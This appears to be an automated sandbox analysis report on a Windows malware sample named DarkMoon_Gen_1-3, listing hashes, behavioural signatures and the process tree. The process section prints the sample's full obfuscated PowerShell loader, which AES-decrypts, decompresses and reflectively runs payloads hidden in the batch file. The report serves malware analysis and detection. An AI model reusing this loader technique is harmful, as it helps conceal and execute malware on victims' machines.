Analysis
-
max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240220-en -
resource tags
arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system -
submitted
02-06-2024 15:43
Static task
static1
Behavioral task
behavioral1
Sample
DarkMoon_Gen_1-3.zip
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
DarkMoon_Gen_1-3.zip
Resource
win10v2004-20240426-en
Behavioral task
behavioral3
Sample
DarkMoon_Gen_1-3/lib/main.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral4
Sample
DarkMoon_Gen_1-3/lib/uni.bat
Resource
win7-20240220-en
Behavioral task
behavioral5
Sample
DarkMoon_Gen_1-3/lib/uni.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral6
Sample
DarkMoon_Gen_1-3/starter.bat
Resource
win7-20240221-en
Behavioral task
behavioral7
Sample
DarkMoon_Gen_1-3/starter.bat
Resource
win10v2004-20240226-en
General
-
Target
DarkMoon_Gen_1-3/lib/uni.bat
-
Size
12.6MB
-
MD5
8e3d8ed6db7cb979d5d56c8b847cc965
-
SHA1
5d1ad752a988ce13da601448cdca5584610cffee
-
SHA256
9d0b440b61b239bc3406d67bf7ae8baf1ceef65923e8558ce3a3c1a3c4a5e22a
-
SHA512
d7a96420b1e61c4bc7db6c533704771e329239629201dbf34ac8a95a931da92c6e1d7ddb694a491656246b0eb491e96d194b7abccf54ef757c1aea92a9b96a0e
-
SSDEEP
49152:Hq8mcjsXbvlusR48pNIN/I/EiFTPbYWLP17DFNkKuri3NSbkpXYyr7arOR150kFB:o
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
Processes:
uni.bat.exepid process 3004 uni.bat.exe -
Loads dropped DLL 1 IoCs
Processes:
cmd.exepid process 2252 cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
uni.bat.exepid process 3004 uni.bat.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
uni.bat.exedescription pid process Token: SeDebugPrivilege 3004 uni.bat.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 2252 wrote to memory of 3004 2252 cmd.exe uni.bat.exe PID 2252 wrote to memory of 3004 2252 cmd.exe uni.bat.exe PID 2252 wrote to memory of 3004 2252 cmd.exe uni.bat.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe"uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exeFilesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
-
memory/3004-5-0x000007FEF5DFE000-0x000007FEF5DFF000-memory.dmpFilesize
4KB
-
memory/3004-6-0x000000001B3F0000-0x000000001B6D2000-memory.dmpFilesize
2.9MB
-
memory/3004-7-0x0000000002160000-0x0000000002168000-memory.dmpFilesize
32KB
-
memory/3004-8-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmpFilesize
9.6MB
-
memory/3004-9-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmpFilesize
9.6MB
-
memory/3004-10-0x0000000002934000-0x0000000002937000-memory.dmpFilesize
12KB
-
memory/3004-11-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmpFilesize
9.6MB